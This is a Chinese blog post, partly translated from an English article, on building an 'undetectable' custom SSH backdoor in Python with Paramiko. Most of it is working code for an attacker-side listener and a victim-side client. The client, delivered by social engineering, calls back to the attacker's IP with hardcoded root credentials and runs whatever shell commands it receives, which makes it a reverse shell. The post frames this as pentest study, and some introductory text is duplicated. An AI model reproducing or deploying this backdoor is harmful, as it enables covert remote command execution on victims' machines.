使用python创建一个检测不到的自定义SSH后门
2015-09-19 11:38
736 查看
看到一篇不错的关于python ssh后门相关知识的文章,一边学习顺带部分翻译一下。原文地址:http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/。在《Black
Hat Python Python Programming for Hackers and Pentesters》一书中,也有一个类似的demo,大家可以参考学习一下。
方法:
1.如何实施攻击;
2.建立SSH隧道
3.反弹Shell
4.SFTP
5.编写自定义的特性(抓取屏幕截图)
6.把代码封装成EXE
7.认证
如何实施攻击
关于实施攻击这一块,文中提到的是采用社会工程学,具体可以看原文。
建立SSH隧道
利用Paramiko库来建立SSH隧道。来看一下源码:
服务端源码:
代码开始定义了本地的RSA key,这个key用于签名和认证。在这里使用Paramiko包中包含的test_rsa.key。
class Server定义了在服务器模式下控制Paramiko行为的接口,也包含处理来自客户端的请求函数。例如:“def check_auth_password”定义了在认证过程中,客户端的用户名和密码是否正确。
在客户端请求一个信道的时候,服务端的“def check_channel_request”将被调用。
客户端源码:
SSHClient()类负责大部分认证和开放信道的方面。
paramiko.AutoAddPolicy()类自动增加主机名和服务器主机密钥到本地的“HostKeys”对象并且保存它。这样就不用担心你在第一次连接SSH服务器的时候,出现的 识别服务器密钥指纹的通知消息。这里的IP为我们的攻击者机器的IP地址。
client.get_transport().open_session()向服务器请求一个类型为“session”的新信道。如果一切都顺利,我们会发送(“Hey i am connected:”)到服务器并且打印服务器发送过来的消息。
DEMO演示:
服务端监听:
客户端连接:
服务端输出:
为了支持反弹shell的功能。在服务端需要做一些修改。增加下面的代码到‘chan.send(Yeah i can see this)’后面,最后整体代码如下:(黄色部分为增加的代码)
客户端代码在chan.recv(2048)后面增加如下代码,最后整体代码如下:(红色部分为增加的代码)
接下来,再看一下演示:
服务端:
客户端:
这里有个问题,如果服务端终止服务,客户端会被挂起。可以在客户端try…except…之前加入一个判断,如果接收到的命令时exit,则退出,服务端也做同样的判断。
Hat Python Python Programming for Hackers and Pentesters》一书中,也有一个类似的demo,大家可以参考学习一下。
方法:
1.如何实施攻击;
2.建立SSH隧道
3.反弹Shell
4.SFTP
5.编写自定义的特性(抓取屏幕截图)
6.把代码封装成EXE
7.认证
如何实施攻击
关于实施攻击这一块,文中提到的是采用社会工程学,具体可以看原文。
建立SSH隧道
利用Paramiko库来建立SSH隧道。来看一下源码:
服务端源码:
#!/usr/bin/env python
# __author__ = 'sniper.geek'
import socket
import paramiko
import threading
import sys
host_key = paramiko.RSAKey(filename='/root/Desktop/test_rsa.key')
class Server (paramiko.ServerInterface):
def _init_(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'root') and (password == 'toor'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('10.0.2.15', 22))
sock.listen(100)
print '[+] Listening for connection ...'
client, addr = sock.accept()
except Exception, e:
print '[-] Listen/bind/accept failed: ' + str(e)
sys.exit(1)
print '[+] Got a connection!'
try:
t = paramiko.Transport(client)
try:
t.load_server_moduli()
except:
print '[-] (Failed to load moduli -- gex will be unsupported.)'
raise
t.add_server_key(host_key)
server = Server()
try:
t.start_server(server=server)
except paramiko.SSHException, x:
print '[-] SSH negotiation failed.'
chan = t.accept(20)
print '[+] Authenticated!'
print chan.recv(1024)
chan.send('Yeah i can see this')
except Exception, e:
print '[-] Caught exception: ' + str(e.__class__)+':'+str(e)
try:
t.close()
except:
pass
sys.exit(1)
代码开始定义了本地的RSA key,这个key用于签名和认证。在这里使用Paramiko包中包含的test_rsa.key。
class Server定义了在服务器模式下控制Paramiko行为的接口,也包含处理来自客户端的请求函数。例如:“def check_auth_password”定义了在认证过程中,客户端的用户名和密码是否正确。
在客户端请求一个信道的时候,服务端的“def check_channel_request”将被调用。
客户端源码:
#!/usr/bin/env python
# __author__ = 'sniper.geek'
import paramiko
import threading
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('10.0.2.15', username='root', password='toor')
chan = client.get_transport().open_session()
chan.send('Hey i am connected :) ')
print chan.recv(1024)
client.close
SSHClient()类负责大部分认证和开放信道的方面。
paramiko.AutoAddPolicy()类自动增加主机名和服务器主机密钥到本地的“HostKeys”对象并且保存它。这样就不用担心你在第一次连接SSH服务器的时候,出现的 识别服务器密钥指纹的通知消息。这里的IP为我们的攻击者机器的IP地址。
client.get_transport().open_session()向服务器请求一个类型为“session”的新信道。如果一切都顺利,我们会发送(“Hey i am connected:”)到服务器并且打印服务器发送过来的消息。
DEMO演示:
服务端监听:
客户端连接:
服务端输出:
为了支持反弹shell的功能。在服务端需要做一些修改。增加下面的代码到‘chan.send(Yeah i can see this)’后面,最后整体代码如下:(黄色部分为增加的代码)
1: #!/usr/bin/env python
2: # __author__ = 'sniper.geek'
3:
4: import socket
5: import paramiko
6: import threading
7: import sys
8:
9: host_key = paramiko.RSAKey(filename='/root/Desktop/test_rsa.key')
10:
11: class Server (paramiko.ServerInterface):
12: def _init_(self):
13: self.event = threading.Event()
14: def check_channel_request(self, kind, chanid):
15: if kind == 'session':
16: return paramiko.OPEN_SUCCEEDED
17: return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
18: def check_auth_password(self, username, password):
19: if (username == 'root') and (password == 'toor'):
20: return paramiko.AUTH_SUCCESSFUL
21: return paramiko.AUTH_FAILED
22:
23: try:
24: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
25: sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
26: sock.bind(('10.0.2.15', 22))
27: sock.listen(100)
28: print '[+] Listening for connection ...'
29: client, addr = sock.accept()
30: except Exception, e:
31: print '[-] Listen/bind/accept failed: ' + str(e)
32: sys.exit(1)
33: print '[+] Got a connection!'
34:
35: try:
36: t = paramiko.Transport(client)
37: try:
38: t.load_server_moduli()
39: except:
40: print '[-] (Failed to load moduli -- gex will be unsupported.)'
41: raise
42: t.add_server_key(host_key)
43: server = Server()
44: try:
45: t.start_server(server=server)
46: except paramiko.SSHException, x:
47: print '[-] SSH negotiation failed.'
48:
49: chan = t.accept(20)
50: print '[+] Authenticated!'
51: print chan.recv(1024)
52: chan.send('Yeah i can see this')
53: while True:
54: command= raw_input("Enter command: ").strip('\n')
55: chan.send(command)
56: print chan.recv(1024) + '\n'
57:
58: except Exception, e:
59: print '[-] Caught exception: ' + str(e.__class__)+':'+str(e)
60: try:
61: t.close()
62: except:
63: pass
64: sys.exit(1)
客户端代码在chan.recv(2048)后面增加如下代码,最后整体代码如下:(红色部分为增加的代码)
1: #!/usr/bin/env python
2: # __author__ = 'sniper.geek'
3:
4: import paramiko
5: import threading
6: import subprocess
7:
8: client = paramiko.SSHClient()
9: client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
10: client.connect('10.0.2.15', username='root', password='toor')
11: chan = client.get_transport().open_session()
12: chan.send('Hey i am connected :) ')
13: print chan.recv(1024)
14: while True:
15: command = chan.recv(1024)
16: try:
17: CMD = subprocess.check_output(command, shell=True)
18: chan.send(CMD)
19: except Exception,e:
20: chan.send(str(e))
接下来,再看一下演示:
服务端:
客户端:
这里有个问题,如果服务端终止服务,客户端会被挂起。可以在客户端try…except…之前加入一个判断,如果接收到的命令时exit,则退出,服务端也做同样的判断。
1: #!/usr/bin/env python
2: # __author__ = 'sniper.geek'
3:
4: import paramiko
5: import threading
6: import subprocess
7:
8: client = paramiko.SSHClient()
9: client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
10: client.connect('192.168.107.128', username='root', password='toor')
11: chan = client.get_transport().open_session()
12: chan.send('Hey i am connected :) ')
13: print chan.recv(1024)
14: while True:
15: command = chan.recv(1024)
16: if 'exit' in command.rstrip('\n').lower():
17: client.close
18: exit(1)
19: try:
20: CMD = subprocess.check_output(command, shell=True)
21: chan.send(CMD)
22: except Exception,e:
23: chan.send(str(e))
24: client.close
相关文章推荐
- 使用python创建一个检测不到的自定义SSH后门
- gensim文档-相似性查询
- lsi计算文档相似度
- gensim的LSI模型来计算文档的相似度
- python实现快速排序
- Eclipse+Pydev开发环境 Python
- 9.17学习笔记 java和python交互,java8位UUID,mac闪电接口高清线导购
- 一篇文章告诉你,该学R还是Python
- python scrapy 执行遇到 no module named win32api
- urllib2 - The Missing Manual HOWTO Fetch Internet Resources with Python
- urllib2 - The Missing Manual HOWTO Fetch Internet Resources with Python
- 60分钟Python快速学习(给发哥一个交代)
- python 笔记3--高级特性
- python 笔记3--高级特性
- 文章推荐集合页推荐学习Python Django 开发机开发人参考
- Python的输入和raw_input()内建函数等以及相关运算符
- Windows Sublime Text3配置Python
- python 用request模块发送cookie,发送多文件。django后台做转发。代码
- 零基础学python-18.4 函数对象:间接调用函数
- 零基础学python-18.4 函数对象:间接调用函数